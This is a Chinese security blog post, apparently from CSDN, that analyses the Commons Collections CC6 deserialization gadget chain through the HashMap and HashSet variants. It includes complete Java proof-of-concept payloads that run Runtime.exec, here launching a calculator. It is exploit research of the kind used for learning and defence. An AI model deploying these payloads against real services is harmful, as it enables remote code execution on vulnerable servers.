CC6分析与利用超详细

CC链6的分析与利用

经过之前对CC1链和URLDNS链的分析,感觉自己对反序列化也有了个比较清晰的认知。分析了这两条链子后就该分析CC6了,这条链子不受jdk的版本影响,并且只要commons collections 小于等于3.2.1,都存在这个漏洞。

链子分析

变化

相比之前的CC1,在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

下面是 jdk_17.0.11 版本的AnnotationInvocationHandler类中的readObject方法:

QQ截图20240624134613

可以看到没有了setValue方法的调用,那么似乎就没办法利用CC1中的TransforMap链了。那利用另一条呢?

先把LazyMap调用get方法的构造写出来(参考CC1的补充)

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
    public static void main(String[] args)throws Exception {

        InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> Lazy = LazyMap.decorate(map,t);
        Lazy.get(Runtime.getRuntime());
        }
    }

QQ截图20240624145303

如果像之前一样接着LazyMap继续向上看,确实依然能发现invoke中还是调用了get方法,并且参数memberValues可控,但是下面readObject方法中的for循环,调用的参数不可控了,没法让其代理对象调用方法就没法到Handler的invoke方法了。

QQ截图20240624195401

所以这里链子得另外找了,不过还是能继承到CC1的一些东西,直接从LazyMap.get向上找。

HashMap链

TiedMapEntry.getValue()

发现TiedMapEntry.java中的getValue调用了get方法,跟进看看参数map可以控制不。

QQ截图20240624203103

可以通过构造函数进行控制

QQ截图20240624203243

那么接下来就需要找谁调用了getValue方法,发现就在这个类里面的hashCode调用了getValue方法。

TiedMapEntry.hashCode()

QQ截图20240624213830

简单测试构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        Tie.hashCode();
    }
}

QQ截图20240624214255

HashMap.hash()

接下来该干什么就不用多说了,因为还没到readObject,所以还得继续找谁调用了hashCode()方法,不过这个hashCode方法在之前的URLDNS链中也有用过,是在HashMap中的hash()方法进行的调用,到这里就可以直接借用前面的URLDNS了,URLDNS链是:

    Gadget Chain:
      HashMap.readObject()
          HashMap.hash()
            URL.hashCode()

直接能够到了readObject,这里把最后就只用调用TiedMapEntry类的hashCode方法就行了。链子就变为了:

    Gadget Chain:
      HashMap.readObject()
          HashMap.hash()
            TiedMapEntry.hashCode()
            	TiedMapEntry.getValue()
            		LazyMap.get()
            			ChainedTransformer.transform()
            				...
put方法提前调用解决

不过这里也会出现另一个问题,在HashMap中的readObject的key值是通过HashMap.put进行赋值的,但在调用HashMap.put的时候也会触发到hashCode()方法,导致反序列化失败。

QQ截图20240624220935

而且这里不像URL.hashCode可以通过反射修改hashCode的值来避免,这里是直接就调用了没有条件,所以得另想它法了。

那么可以在put的时候传个其他的Transformer对象,这样到最后就是调用的其他对象的transform方法了,然后再利用反射把factory参数改为ChainedTransformer,这样再反序列化的时候就可以调用到ChainedTransformer的transform方法了。

构造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC6test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        
        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put(Tie,"gaoren");
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        serilize(hashmap);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

不过最后能运行但是没弹计算机。

get方法的问题解决

关键地方在get方法中:

QQ截图20240624224235

调试发现再第一次调用put到get方法时,会先进行一个if判断就看Map中是否包含了key值,没有就能成功执行到transform方法,但是看到下面还有一句map.put(key, value),会把没有的key值put进Map中。

QQ截图20240625144015

这就导致了后面再反序列化的侯,再次到达这个if的时候就会因为Map中有key值而无法执行transform方法,不过这个可以像上面的Transformer一样,再put方法后反射调用修改key值或者直接删除Map中的key值。

最后poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put(Tie,"gaoren");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        Lazy.remove("aaa");
//        Object o=new Object();
//        Class<TiedMapEntry> tie = TiedMapEntry.class;
//        Field field = tie.getDeclaredField("key");
//        Field modifiersField = Field.class.getDeclaredField("modifiers");
//        modifiersField.setAccessible(true);
//        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
//        field.setAccessible(true);
//        field.set(Tie,"aaaaaaaa");

        serilize(hashmap);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

HashSet链

HashSet.readObject()

hashset中的readObject方法在最后会触发put,剩下的就不用说了,put就会上面说的put一样了,最后可以触发到hashcode方法:

QQ截图20240625151017

但是这里需要吧e变为TiedMapEntry对象,这样才能触发到TiedMapEntry的hashcode方法。

在HashSet中提供了add方法,可以利用add对e赋值

QQ截图20240625151853

poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));


        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashSet set=new HashSet();
        set.add(Tie);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        Lazy.remove("aaa");
//        Object o=new Object();
//        Class<TiedMapEntry> tie = TiedMapEntry.class;
//        Field field = tie.getDeclaredField("key");
//        Field modifiersField = Field.class.getDeclaredField("modifiers");
//        modifiersField.setAccessible(true);
//        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
//        field.setAccessible(true);
//        field.set(Tie,"aaaaaaaa");

        serilize(set);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

番外

在一开始调试CC6的时候,为了对比其和CC1的区别,我把jdk版本改为了jdku71然后下载sun包源码,直接把CC1的LazyMap链复制过去。

运行:

QQ截图20240625152727

报错没什么好说的。

断点调试:

QQ截图20240625152854

?怎么给我跳了三个计算机,在invoke方法打上断点发现竟然还能触发invoke方法,后面把序列化去掉后还是弹三个计算机,反正捣鼓了很久,最后在b站白日梦组长CC6评论区破案,是IDEA调试器问题,关掉下面两个就好了。

参考:https://blog.csdn.net/lkforce/article/details/90479650

QQ截图20240625153255

  • 12
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值